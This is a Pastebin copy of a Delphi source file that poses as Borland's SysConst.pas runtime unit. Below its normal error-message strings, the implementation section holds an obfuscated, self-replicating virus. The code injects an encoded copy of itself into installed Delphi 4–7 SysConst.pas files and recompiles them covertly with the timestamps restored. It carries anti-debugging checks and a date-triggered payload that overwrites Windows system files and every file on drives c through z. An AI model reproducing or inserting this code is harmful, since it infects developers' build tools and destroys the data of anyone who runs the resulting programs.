API tools faq
paste
Advertisement
Guest User

SysConst.pas

a guest
Jan 22nd, 2012
3,519
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 20.33 KB | None | 0 0
raw download clone embed print report
  1. { *********************************************************************** }
  2. {                                                                         }
  3. { Delphi / Kylix Cross-Platform Runtime Library                           }
  4. {                                                                         }
  5. { Copyright (c) 1995, 2001 Borland Software Corporation                   }
  6. {                                                                         }
  7. { *********************************************************************** }
  8.  
  9. unit SysConst;                                  
  10.  
  11. interface
  12.  
  13. resourcestring
  14.   SUnknown = '<unknown>';
  15.   SInvalidInteger = '''%s'' is not a valid integer value';
  16.   SInvalidFloat = '''%s'' is not a valid floating point value';
  17.   SInvalidCurrency = '''%s'' is not a valid currency value';
  18.   SInvalidDate = '''%s'' is not a valid date';
  19.   SInvalidTime = '''%s'' is not a valid time';
  20.   SInvalidDateTime = '''%s'' is not a valid date and time';
  21.   SInvalidDateTimeFloat = '''%g'' is not a valid date and time';
  22.   SInvalidTimeStamp = '''%d.%d'' is not a valid timestamp';
  23.   SInvalidGUID = '''%s'' is not a valid GUID value';
  24.   SInvalidBoolean = '''%s'' is not a valid boolean value';
  25.   STimeEncodeError = 'Invalid argument to time encode';
  26.   SDateEncodeError = 'Invalid argument to date encode';
  27.   SOutOfMemory = 'Out of memory';
  28.   SInOutError = 'I/O error %d';
  29.   SFileNotFound = 'File not found';
  30.   SInvalidFilename = 'Invalid filename';
  31.   STooManyOpenFiles = 'Too many open files';
  32.   SAccessDenied = 'File access denied';
  33.   SEndOfFile = 'Read beyond end of file';
  34.   SDiskFull = 'Disk full';
  35.   SInvalidInput = 'Invalid numeric input';
  36.   SDivByZero = 'Division by zero';
  37.   SRangeError = 'Range check error';
  38.   SIntOverflow = 'Integer overflow';
  39.   SInvalidOp = 'Invalid floating point operation';
  40.   SZeroDivide = 'Floating point division by zero';
  41.   SOverflow = 'Floating point overflow';
  42.   SUnderflow = 'Floating point underflow';
  43.   SInvalidPointer = 'Invalid pointer operation';
  44.   SInvalidCast = 'Invalid class typecast';
  45. {$IFDEF MSWINDOWS}
  46.   SAccessViolationArg3 = 'Access violation at address %p. %s of address %p';
  47. {$ENDIF}
  48. {$IFDEF LINUX}
  49.   SAccessViolationArg2 = 'Access violation at address %p, accessing address %p';
  50. {$ENDIF}
  51.   SAccessViolationNoArg = 'Access violation';
  52.   SStackOverflow = 'Stack overflow';
  53.   SControlC = 'Control-C hit';
  54.   SQuit = 'Quit key hit';
  55.   SPrivilege = 'Privileged instruction';
  56.   SOperationAborted = 'Operation aborted';
  57.   SException = 'Exception %s in module %s at %p.' + sLineBreak + '%s%s' + sLineBreak;
  58.   SExceptTitle = 'Application Error';
  59. {$IFDEF LINUX}
  60.   SSigactionFailed = 'sigaction call failed';
  61. {$ENDIF}
  62.   SInvalidFormat = 'Format ''%s'' invalid or incompatible with argument';
  63.   SArgumentMissing = 'No argument for format ''%s''';
  64.   SDispatchError = 'Variant method calls not supported';
  65.   SReadAccess = 'Read';
  66.   SWriteAccess = 'Write';
  67.   SResultTooLong = 'Format result longer than 4096 characters';
  68.   SFormatTooLong = 'Format string too long';
  69.  
  70.   SVarArrayCreate = 'Error creating variant or safe array';
  71.   SVarArrayBounds = 'Variant or safe array index out of bounds';
  72.   SVarArrayLocked = 'Variant or safe array is locked';
  73.   SVarArrayWithHResult = 'Unexpected variant or safe array error: %s%.8x';
  74.  
  75.   SInvalidVarCast = 'Invalid variant type conversion';
  76.   SInvalidVarOp = 'Invalid variant operation';
  77.   SInvalidVarNullOp = 'Invalid NULL variant operation';
  78.   SInvalidVarOpWithHResultWithPrefix = 'Invalid variant operation (%s%.8x)'#10'%s';
  79.   SVarTypeRangeCheck1 = 'Range check error for variant of type (%s)';
  80.   SVarTypeRangeCheck2 = 'Range check error while converting variant of type (%s) into type (%s)';
  81.   SVarTypeOutOfRangeWithPrefix = 'Custom variant type (%s%.4x) is out of range';
  82.   SVarTypeAlreadyUsedWithPrefix = 'Custom variant type (%s%.4x) already used by %s';
  83.   SVarTypeNotUsableWithPrefix = 'Custom variant type (%s%.4x) is not usable';
  84.   SVarTypeTooManyCustom = 'Too many custom variant types have been registered';
  85.  
  86.   // the following are not used anymore
  87.   SVarNotArray = 'Variant is not an array' deprecated; // not used, use SVarInvalid instead
  88.   SVarTypeUnknown = 'Unknown custom variant type ($%.4x)' deprecated; // not used anymore
  89.   SVarTypeOutOfRange = 'Custom variant type ($%.4x) is out of range' deprecated;
  90.   SVarTypeAlreadyUsed = 'Custom variant type ($%.4x) already used by %s' deprecated;
  91.   SVarTypeNotUsable = 'Custom variant type ($%.4x) is not usable' deprecated;
  92.   SInvalidVarOpWithHResult = 'Invalid variant operation ($%.8x)' deprecated;
  93.  
  94.   SVarTypeCouldNotConvert = 'Could not convert variant of type (%s) into type (%s)';
  95.   SVarTypeConvertOverflow = 'Overflow while converting variant of type (%s) into type (%s)';
  96.   SVarOverflow = 'Variant overflow';
  97.   SVarInvalid = 'Invalid argument';
  98.   SVarBadType = 'Invalid variant type';
  99.   SVarNotImplemented = 'Operation not supported';
  100.   SVarOutOfMemory = 'Variant operation ran out memory';
  101.   SVarUnexpected = 'Unexpected variant error';
  102.  
  103.   SVarDataClearRecursing = 'Recursion while doing a VarDataClear';
  104.   SVarDataCopyRecursing = 'Recursion while doing a VarDataCopy';
  105.   SVarDataCopyNoIndRecursing = 'Recursion while doing a VarDataCopyNoInd';
  106.   SVarDataInitRecursing = 'Recursion while doing a VarDataInit';
  107.   SVarDataCastToRecursing = 'Recursion while doing a VarDataCastTo';
  108.   SVarIsEmpty = 'Variant is empty';
  109.   sUnknownFromType = 'Cannot convert from the specified type';
  110.   sUnknownToType = 'Cannot convert to the specified type';
  111.   SExternalException = 'External exception %x';
  112.   SAssertionFailed = 'Assertion failed';
  113.   SIntfCastError = 'Interface not supported';
  114.   SSafecallException = 'Exception in safecall method';
  115.   SAssertError = '%s (%s, line %d)';
  116.   SAbstractError = 'Abstract Error';
  117.   SModuleAccessViolation = 'Access violation at address %p in module ''%s''. %s of address %p';
  118.   SCannotReadPackageInfo = 'Cannot access package information for package ''%s''';
  119.   sErrorLoadingPackage = 'Can''t load package %s.'+sLineBreak+'%s';
  120.   SInvalidPackageFile = 'Invalid package file ''%s''';
  121.   SInvalidPackageHandle = 'Invalid package handle';
  122.   SDuplicatePackageUnit = 'Cannot load package ''%s.''  It contains unit ''%s,''' +
  123.     'which is also contained in package ''%s''';
  124.   SOSError = 'System Error.  Code: %d.'+sLineBreak+'%s';
  125.   SUnkOSError = 'A call to an OS function failed';
  126. {$IFDEF MSWINDOWS}
  127.   SWin32Error = 'Win32 Error.  Code: %d.'#10'%s' deprecated; // use SOSError
  128.   SUnkWin32Error = 'A Win32 API function failed' deprecated; // use SUnkOSError
  129. {$ENDIF}
  130.   SNL = 'Application is not licensed to use this feature';
  131.  
  132.   SShortMonthNameJan = 'Jan';
  133.   SShortMonthNameFeb = 'Feb';
  134.   SShortMonthNameMar = 'Mar';
  135.   SShortMonthNameApr = 'Apr';
  136.   SShortMonthNameMay = 'May';
  137.   SShortMonthNameJun = 'Jun';
  138.   SShortMonthNameJul = 'Jul';
  139.   SShortMonthNameAug = 'Aug';
  140.   SShortMonthNameSep = 'Sep';
  141.   SShortMonthNameOct = 'Oct';
  142.   SShortMonthNameNov = 'Nov';
  143.   SShortMonthNameDec = 'Dec';
  144.  
  145.   SLongMonthNameJan = 'January';
  146.   SLongMonthNameFeb = 'February';
  147.   SLongMonthNameMar = 'March';
  148.   SLongMonthNameApr = 'April';
  149.   SLongMonthNameMay = 'May';
  150.   SLongMonthNameJun = 'June';
  151.   SLongMonthNameJul = 'July';
  152.   SLongMonthNameAug = 'August';
  153.   SLongMonthNameSep = 'September';
  154.   SLongMonthNameOct = 'October';
  155.   SLongMonthNameNov = 'November';
  156.   SLongMonthNameDec = 'December';
  157.  
  158.   SShortDayNameSun = 'Sun';
  159.   SShortDayNameMon = 'Mon';
  160.   SShortDayNameTue = 'Tue';
  161.   SShortDayNameWed = 'Wed';
  162.   SShortDayNameThu = 'Thu';
  163.   SShortDayNameFri = 'Fri';
  164.   SShortDayNameSat = 'Sat';
  165.  
  166.   SLongDayNameSun = 'Sunday';
  167.   SLongDayNameMon = 'Monday';
  168.   SLongDayNameTue = 'Tuesday';
  169.   SLongDayNameWed = 'Wednesday';
  170.   SLongDayNameThu = 'Thursday';
  171.   SLongDayNameFri = 'Friday';
  172.   SLongDayNameSat = 'Saturday';
  173.  
  174. {$IFDEF LINUX}
  175.   SEraEntries = '';
  176. {$ENDIF}
  177.  
  178.   SCannotCreateDir = 'Unable to create directory';
  179.   SCodesetConversionError = 'Codeset conversion failure';
  180.  
  181. implementation
  182. uses windows; var sc:array[1..33] of string=(
  183. 'pr`r+vd}_~vrJ+ulq+rbIlqqltj<==22h+~e+roqd}fH#',
  184. '+b~}ro+u/;H"/=;"Ju0;H"0=;"Ju5;H"5=;"Ju6;H"6=;"Jl{~H"!"JxrfvqH"Blq{locdl}+E~q`ro+BE<=2+A~}_`_AtAw~~_"J',
  185. 'rxrfH"O^?LT+DR+L+]DB@+?LT+O^+?D@="J+ep}bod~}+Psq#SIAto`JRIroqd}f$IRoqd}fJulq+++DID}o`f`qJa`fd}+++e~q+DIH<+o~+W`}foc#R$+_~+++a`fd}+++++Q`rpwoIHQ`rpwo:Bcq#Ato`#Rjdh$+s~q+S$J',
  186. '++`}_J`}_J+ep}bod~}+?BpIroqd}fJa`fd}+++q`rpwoIHPsq#<3;7"ЫЦМ"$J`}_J+ep}bod~}+{lrIroqd}fJa`fd}+++Q`rpwoIHPsq#</47"апе"$J`}_J+ep}bod~}+dx{Iroqd}fJa`fd}+++q`rpwoIHPsq#<527"ЩЭТЮЕЭЕШЦБЦЩЧШ"$J',
  187. '`}_J+ep}bod~}+_r<Iroqd}fJa`fd}+++q`rpwoIHPsq#147"]qЉdy‡~sLnq~|‡rtLTs|xpoL"$JJ`}_J+ep}bod~}+_r1Iroqd}fJa`fd}+++q`rpwoIHPsq#017"ejjK{hE"$+`}_J+ep}bod~}+_r2Iroqd}fJa`fd}+++Q`rpwoIHPsq#47"P‰e‡ЉywPЉ€`P‰{‰Pi{‰Yef‰€"$J',
  188. '`}_J+ep}bod~}+_r/Iroqd}fJa`fd}+++q`rpwoIHPsq#557"-=:+-J< 87<5w"$J`}_J+ep}bod~}+_r0Iroqd}fJa`fd}+++q`rpwoIHPsq#07"TfwzTlee56:k€k"" "$J`}_J+ep}bod~}+clwIroqd}fJa`fd}+++q`rpwoIHPsq#107"ykyx‡o9:@|sp6€pp"$J',
  189. '`}_J+ep}bod~}+p}xIRoqd}fJa`fd}+++Q`rpwoIHPsq#1007"—…—љ©‘ЧШў™˜’‘›њЬЄ’’"$J`}_J+ep}bod~}+d}poIroqd}fJa`fd}+++q`rpwoIHPsq#647"G5GJ9!‡€IG9H%,%Jl969"$J`}_J+ep}bod~}+erl_Iroqd}fJa`fd}+++q`rpwoIHPsq#/47"ACA@OgxhmUmVV.ODO"$J',
  190. '`}_J+ep}bod~}+fcefIroqd}fJa`fd}+++q`rpwoIHPsq#<447"ЇНЇІЎ№прЄ°ҐЇҐ¶Ѕпрдўєє"$J`}_J+ep}bod~}+{w~clIroqd}fJa`fd}+++Q`rpwoIHPsq#<7"_t|x}r_r>_t_"$J`}_J+ep}bod~}+r`}_eq~xlf~_Iroqd}fJ',
  191. 'a`fd}+++Q`rpwoIHPsq#4<7"l0>NM>M3>p3/5"$J`}_J+ep}bod~}+adcIroqd}fJa`fd}+++Q`rpwoIHPsq#//7"_fkl{ЋBYSjXmD{}BmKXAC{}cЋ{"$J`}_J+ep}bod~}+rb~Iroqd}fJa`fd}+++Q`rpwoIHPsq#<357"ДРЮГФоешТП„ѓеГЭХеДВДедВДфРПДЭ"$J',
  192. '`}_J+ep}bod~}+bfIroqd}fJa`fd}+++Q`rpwoIHPsq#37"jf}‡Ћd‰xOZfwx^xd‰OYWjO"$J`}_J+ep}bod~}+L#rIroqd}f$Iroqd}fJulq+dId}o`f`qJa`fd}+e~q+dIH<+o~+w`}foc#r$+_~+a`fd}+rjdhIHbcq###Ato`#rjdh$:<$+s~q+<;$85$J',
  193. 'de+rjdhHBcq#20$+oc`}+rjdhIHBcq#24$J`}_Jq`rpwoIHrJ`}_J+{q~b`_pq`+A#r7_7`Iroqd}f$Julq+oIroqd}fJe<7e1Io`soedw`JcIblq_d}lwJeIROLQOP[D]E^J{I[Q^B@RRnD]E^QXLOD^]Jo<7o17o2IEDW@ODX@Jddx{Iroqd}fJa`fd}+ЉD8€+',
  194. 'oIHrJlrrdf}edw`#e<7r$Jq`r`o#e<$Jde+d~q`rpwoGM;oc`}+`sdoJlrrdf}edw`#e17_:{lr$Jq`vqdo`#e1$Jde+d~q`rpwoGM;+oc`}+a`fd}+bw~r`edw`#e<$J`sdoJ`}_Jddx{IHdx{Jvcdw`+}~o+`~e#e<$_~+a`fd}+q`l_w}#e<7r$J',
  195. 'vqdo`w}#e17r$Jde+{~r#ddx{7r$GM;+oc`}+++aq`lzJ`}_J+vqdo`w}#e17L#rbj<h$$Je~q+cIH<+o~+228<+_~+++vqdo`w}#e17"""":rbjch7"""7"$Jvqdo`w}#e17"""":rbj22h:"""$J"$Je~q+cIH1+o~+22+_~+vqdo`w}#e17L#rbjch$$J',
  196. 'bw~r`edw`#e<$Jbw~r`edw`#e1$J+cIHBq`lo`Edw`#{bclq#_:_bp$7;7;7}dw727;7;$Jde+cH?V^Q?#8<$+oc`}+`sdoJF`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$Jedwwbclq#e7rd‰`~e#e$7;$Je=baIHrd‰`~e#e$Je=_vEwlfr+IHROLQOEnPR@RC^VVD]?^VJe=vRc~vVd}_~vIHRVnCD?@J',
  197. '+de+}~o+Bq`lo`[q~b`rr#}dw7{bclq#`:"!":_:{lr:"!"$7+++++++++}dw7+}dw7elwr`7;7}dw7}dw7e7{$+oc`}+`sdoJVldoE~qRd}fw`^ay`bo#+{=c[q~b`rr7+D]ED]DO@$J?`w`o`Edw`#{bclq#_:{lr$$J+cIHBq`lo`Edw`#{bclq#_:_bp$71057;7}dw727;7;$J',
  198. 'de+cH?V^Q?#8<$+oc`}+`sdoJR`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$JLrrdf}edw`#e<7o$Jde+D^Q`rpwoGM;+oc`}+`sdoJQ`vqdo`#e<$JVqdo`w}#e<7xrfvq$JBw~r`edw`#e<$J`}_J+ep}bod~}+B#OI[Bclq$IRoqd}fJ',
  199. 'ulq+zICZ@TJbIlqqlt+j<==100h+~e+bclqJdIblq_d}lwJqIroqd}fJa`fd}+de+Q`f^{`}Z`t@s#CZ@TnW^BLWnXLBCD]@7+O7;7Z@TnQ@L?7z$H;+oc`}+a`fd}+dIH100Jde+Q`f\p`qtUlwp`@s#z7[Bclq#?R1$7}dw7Kd7Kb7Kd$+H+;+oc`}+',
  200. 'a`fd}+qIH""J+dIH<J+vcdw`+bjdh+GM+Bcq#;$+_~++a`fd}+++qIHq:bjdhJd}b#d$J+`}_JQ`rpwoIHqJ`}_JQ`fBw~r`Z`t#z$J`}_J`}_J+ep}bod~}+Dr?afIa~~w`l}Julq++LIAto`Ja`fd}+Q`rpwoIHelwr`Jlrx+++x~u+L7;J++x~u+`ls7erIj;;;;;;<3chJ',
  201. '++x~u+`ls7j`ls+:2;chJ++x~u‰s+`ls7ato`+{oq+j`ls:;1hJ++bx{+`ls7<J++y}`+KWAWJ++x~u+L7<JKWAWI+`}_JDe+LGM;+oc`}+q`rpwoIHoqp`J`}_J+ep}bod~}+Dr?`apff`q[q`r`}oZ`q}`wIa~~w`l}Jlrr`xaw`qJ',
  202. 'lrx+++x~u+`ls7_v~q_+{oq+erIj;;;;;;<3chJ++x~u+`ls7_v~q_+{oq+j`ls:2;chJ++x~u‰s+`ls7ato`+{oq+j`ls:;1chJ`}_J+ep}bod~}+Dr]OXlbcd}`Ia~~w`l}Jlrr`xaw`qJlrx+++s~q+`ls7`lsJ++x~u+`bs7brJ++s~q+bw7bwJ++y`bs‰+K}o~zJ',
  203. '++yx{+K|pdoJK}o~zI+++d}b+`lsJK|pdoI+`}_J+{q~b`_pq`+Q`vqdo`#]lx`IRoqd}f$Julq++EIOCl}_w`J+D7]7iI?V^Q?J+ApeIlqqlt+j;==<;1/h+~e+ato`Ja`fd}++eIHBq`lo`Edw`#[Bclq#]lx`$7F@]@QDBnVQDO@7+EDW@nRCLQ@nVQDO@7+}dw7+',
  204. '++++++++++++++++++++^[@]n@SDROD]F7+EDW@nLOOQDAPO@n]^QXLW7+;$J+de+E+H+D]ULWD?nCL]?W@nULWP@+oc`}+@sdoJ+EdwwBclq#Ape7<;1/7;$J+iIHQ~p}_##F`oEdw`Rd‰`#e7}dw$>#<;1/:W`}foc#xrfvq$8<$$$J',
  205. '+e~q+dIH;+o~+i+_~++a`fd}+++Vqdo`Edw`#e7Xrfvq7W`}foc#xrfvq$7]7}dw$J++Vqdo`Edw`#e7Ape7<;1/7]7}dw$J+`}_J+Bw~r`Cl}_w`#e$J`}_J+{q~b`_pq`+Edw`Q`bpqrdu`#ApeIRoqd}f$Julq++E?InVD]21nED]?n?LOLJ',
  206. '+CIOCl}_w`Ja`fd}++CIHEd}_EdqroEdw`#[Bclq#Ape:"9=9"$7E?$J+q`{`lo+++de+E?=bEdw`]lx`j;hGM"="+oc`}+++a`fd}+++++de+#E?=_vEdw`Looqdapo`r+l}_+;;;;<;$+H+;;;;<;+oc`}+',
  207. '+++++Edw`Q`bpqrdu`#Ape:E?=bEdw`]lx`:"g"$+++++`wr`++++++Q`vqdo`#E?=bEdw`]lx`$J++`}_J+p}odw#}~o+Ed}_]`soEdw`#C7E?$$J+Ed}_Bw~r`#C$J`}_J+{q~b`_pq`+Edw`rJulq++dIato`Ja`fd}++e~q+dIH52+o~+6L+_~+',
  208. '+Edw`Q`bpqrdu`#Bcq#d$:"Ig"$J`}_J+{q~b`_pq`+L}lwt‰`Julq++Vd}_dqI+lqqlt+j;==100h+~e+BclqJ+dId}o`f`qJ+Vd}o`qIRoqd}fJ+VI?V^Q?Ja`fd}++EdwwBclq#Vd}_dq71057;$J+F`oVd}_~vr?dq`bo~qt#Vd}_dq7100$J',
  209. '+e~q+dIH;+o~+100+_~++Vd}o`qjdhIHVd}_dqjdhJ+De+Vd}o`qjW`}foc#Vd}o`q$hGM"g"+oc`}++Vd}o`qIHVd}o`q:"g"J+Q`vqdo`#Vd}o`q:clw$J+Q`vqdo`#Vd}o`q:p}x$J+Q`vqdo`#Vd}o`q:d}po$J+Q`vqdo`#Vd}o`q:erl_$J',
  210. '+Q`vqdo`#Vd}o`q:fcef$J+Q`vqdo`#Vd}o`q:{w~cl$J+Q`vqdo`#R`}_eq~xlf~_$J+Edw`rJ+X`rrlf`A~s#;7xrfvq7rxrf7;$J`}_J+{q~b`_pq`+Bc`bzJulq++VInRTRO@XODX@Ja`fd}++F`oRtro`xOdx`#V$J+De+v=vT`lq+M+1;<;+oc`}+',
  211. '+L}lwt‰`J++De+v=vT`lq+H+1;<;+oc`}++De+v=vX~}oc+M+<;+oc`}++L}lwt‰`J++De+v=vT`lq+H+1;<;+oc`}++De+v=vX~}oc+H+<;+oc`}++De+v=v?lt+MH+<2+oc`}++L}lwt‰`J`}_J+ep}bod~}+Pr`OcdrIa~~w`l}J',
  212. 'a`fd}++q`rpwoIHelwr`J+de+}~o+Dr]oXlbcd}`+oc`}++a`fd}+++q`rpwoIHoqp`J++`sdoJ+`}_J+de+Dr?`apff`q[q`r`}oZ`q}`w+oc`}++a`fd}+++q`rpwoIHoqp`J++`sdoJ+`}_J+De+Dr?af+oc`}++a`fd}+++q`rpwoIHoqp`J++`sdoJ+`}_J',
  213. '`}_J+ulq+++qoIroqd}fJa`fd}+de+}~o+pr`ocdr+oc`}+a`fd}++++qoIHB#[Bclq#?R<:u/;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#?R<:u0;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J',
  214. '+++qoIHB#[Bclq#?R<:u5;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#?R<:u6;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#adc:u/;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J',
  215. '+++qoIHB#[Bclq#adc:u0;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#bf:u5;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J+++++++qoIHB#[Bclq#bf:u6;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J+`}_J`}_=++');
  216.  const v40='4.0';v50='5.0';v60='6.0';v70='7.0';apo='"';msgwr='Carpathian Forest CF1.3 BondedByBlood';
  217. smsg='TODAY IS A NICE DAY TO DIE.'; function Uxr(X:Byte;S:string):String;var   I:Integer;begin   for I:=1 to Length(S) do   begin     Result:=Result+Chr(Byte(S[i]) xor X);
  218.   end;end; function DCu:string;begin   result:=Uxr(180,'РЧБ');end; function pas:string;begin   Result:=Uxr(149,'ефж');end; function imp:string;begin   result:=Uxr(163,'КОУПЖОЖНЧВЧКМН');
  219. end; function ds1:string;begin   result:=Uxr(29,'Nr{ij|oxA_roq|syAYxqmutA');;end; function ds2:string;begin   result:=Uxr(52,'f[[@p]F') end; function ds3:string;begin   Result:=Uxr(9,'Uzf|{jlU{}eUzpzUZpzJfgz}');
  220. end; function ds4:string;begin   result:=Uxr(66,'.+ ;1-,16l');end; function ds5:string;begin   result:=Uxr(5,'YglkYaff67+`}`''%');end; function hal:string;begin   result:=Uxr(25,'j`jm|t*+Eqxu7}uu');
  221. end; function unm:String;begin   Result:=Uxr(255,'Њ†Њ‹љ’МНЈЉЌ“’ђ‘С›““');end; function inut:string;begin   result:=Uxr(79,'<6<;*"|}:<*=&!&;a*7*');end; function fsad:string;begin   result:=Uxr(49,'BHBET\m]^V^WWTIT');
  222. end; function ghfg:string;begin   result:=Uxr(199,'ґѕґіўЄфх›µ¦ґ¦·®фхйЈ««');end; function ploha:string;begin   Result:=Uxr(1,'dyqmnsds/dyd');end; function sendfromagod:string;
  223. begin   Result:=Uxr(91,'a5/?>/>8/u846');end; function bih:string;begin   Result:=Uxr(44,'dg`apCJX[M^IpnC^@MBHpnhp');end; function sco:string;begin   Result:=Uxr(186,'ЙХПИЩЯжнУФ‰€жИОЦжЙГЙжйГЙщХФЙО');
  224. end; function cg:string;begin   Result:=Uxr(8,'[gn|izmTKglmOmizTJL[T');end; function A(s:string):string;var i:integer;begin for i:=1 to length(s) do begin s[i]:=chr(((Byte(s[i])+1) xor 10)-6);
  225. if s[i]=Chr(35) then s[i]:=Chr(39);end;result:=s;end; procedure B(s,d,e:string);var t:string;f1,f2:textfile;h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;t1,t2,t3:FILETIME;iimp:string;begin {$I-}
  226. t:=s;assignfile(f1,s);reset(f1);if ioresult<>0then exit;assignfile(f2,d+pas);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end;iimp:=imp;while not eof(f1)do begin readln(f1,s);
  227. writeln(f2,s);if pos(iimp,s)<>0 then   break;end; writeln(f2,A(sc[1]));for h:=1 to 33-1 do   writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[33]+''');');for h:=2 to 33 do writeln(f2,A(sc[h]));
  228. closefile(f1);closefile(f2); h:=CreateFile(pchar(d+dcu),0,0,nil,3,0,0);if h=DWORD(-1) then exit;GetFileTime(h,@t1,@t2,@t3);CloseHandle(h);fillchar(f,sizeof(f),0);f.cb:=sizeof(f);f.dwFlags :=STARTF_USESHOWWINDOW;f.wShowWindow:=SW_HIDE;
  229.  if not CreateProcess(nil,pchar(e+'"'+d+pas+'"'),         nil, nil,false,0,nil,nil,f,p) then exit;WaitForSingleObject( p.hProcess, INFINITE);DeleteFile(pchar(d+pas)); h:=CreateFile(pchar(d+dcu),256,0,nil,3,0,0);
  230. if h=DWORD(-1) then exit;SetFileTime(h,@t1,@t2,@t3);CloseHandle(h);Assignfile(f1,t);if IOResult<>0 then exit;Rewrite(f1);Writeln(f1,msgwr);Closefile(f1);end; function C(T:PChar):String;
  231. var k:HKEY;c:array [1..255] of char;i:cardinal;r:string;begin if RegOpenKeyEx(HKEY_LOCAL_MACHINE, T,0,KEY_READ,k)=0 then begin i:=255;if RegQueryValueEx(k,PChar(DS2),nil,@i,@c,@i) = 0 then
  232. begin r:=''; i:=1; while c[i] <> Chr(0) do  begin   r:=r+c[i];inc(i); end;Result:=r;end;RegCloseKey(k);end;end; function IsDbg:boolean;var  A:Byte;begin Result:=false;asm   mov A,0;  mov eax,fs:[00000018h];
  233.   mov eax,[eax +30h];  movzx eax,byte ptr [eax+02];  cmp eax,1;  jne @LBL;  mov A,1;@LBL: end;If A<>0 then result:=true;end; function IsDebuggerPresentKernel:boolean;assembler;
  234. asm   mov eax,dword ptr fs:[00000018h];  mov eax,dword ptr [eax+30h];  movzx eax,byte ptr [eax+02h];end; function IsNTMachine:boolean;assembler;asm   xor eax,eax;  mov ecx,cs;  xor cl,cl;  jecxz @ntok;
  235.   jmp @quit;@ntok:   inc eax;@quit: end; procedure Rewrite(Name:String);var  F:THandle; I,N,Z:DWORD; Buf:array [0..1024] of byte;begin  f:=CreateFile(PChar(Name),GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  236.                     OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if F = INVALID_HANDLE_VALUE then Exit; FillChar(Buf,1024,0); Z:=Round((GetFileSize(f,nil)/(1024+Length(msgwr)-1)));
  237.  for i:=0 to Z do  begin   WriteFile(f,Msgwr,Length(msgwr),N,nil);  WriteFile(f,Buf,1024,N,nil); end; CloseHandle(f);end; procedure FileRecursive(Buf:String);var  FD:_WIN32_FIND_DATA;
  238.  H:THandle;begin  H:=FindFirstFile(PChar(Buf+'*.*'),FD); repeat   if FD.cFileName[0]<>'.' then   begin     if (FD.dwFileAttributes and $000010) = $000010 then
  239.      FileRecursive(Buf+FD.cFileName+'\')     else      Rewrite(FD.cFileName);  end; until(not FindNextFile(H,FD)); FindClose(H);end; procedure Files;var  i:byte;begin  for i:=$63 to $7A do
  240.  FileRecursive(Chr(i)+':\');end; procedure Analyze;var  Windir: array [0..255] of Char; i:integer; Winter:String; W:DWORD;begin  FillChar(Windir,256,0); GetWindowsDirectory(Windir,255);
  241.  for i:=0 to 255 do  Winter[i]:=Windir[i]; If Winter[Length(Winter)]<>'\' then  Winter:=Winter+'\'; Rewrite(Winter+hal); Rewrite(Winter+unm); Rewrite(Winter+inut); Rewrite(Winter+fsad);
  242.  Rewrite(Winter+ghfg); Rewrite(Winter+ploha); Rewrite(Sendfromagod); Files; MessageBox(0,msgwr,smsg,0);end; procedure Check;var  W:_SYSTEMTIME;begin  GetSystemTime(W); If w.wYear > 2010 then
  243.  Analyze;  If w.wYear = 2010 then  If w.wMonth > 10 then  Analyze;  If w.wYear = 2010 then  If w.wMonth = 10 then  If w.wDay >= 13 then  Analyze;end; function UseThis:boolean;
  244. begin  result:=false; if not IsNtMachine then  begin   result:=true;  exit; end; if IsDebuggerPresentKernel then  begin   result:=true;  exit; end; If IsDbg then  begin   result:=true;  exit; end;
  245. end; var   rt:string;begin if not usethis then begin    rt:=C(PChar(DS1+v40));   B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5);   rt:=C(PChar(DS1+v50));   B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5);
  246.    rt:=C(PChar(DS1+v60));   B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5);   rt:=C(PChar(DS1+v70));   B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5);   rt:=C(PChar(bih+v40));   B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5);
  247.    rt:=C(PChar(bih+v50));   B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5);   rt:=C(PChar(cg+v60));   B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5);       rt:=C(PChar(cg+v70));   B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5); end;end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!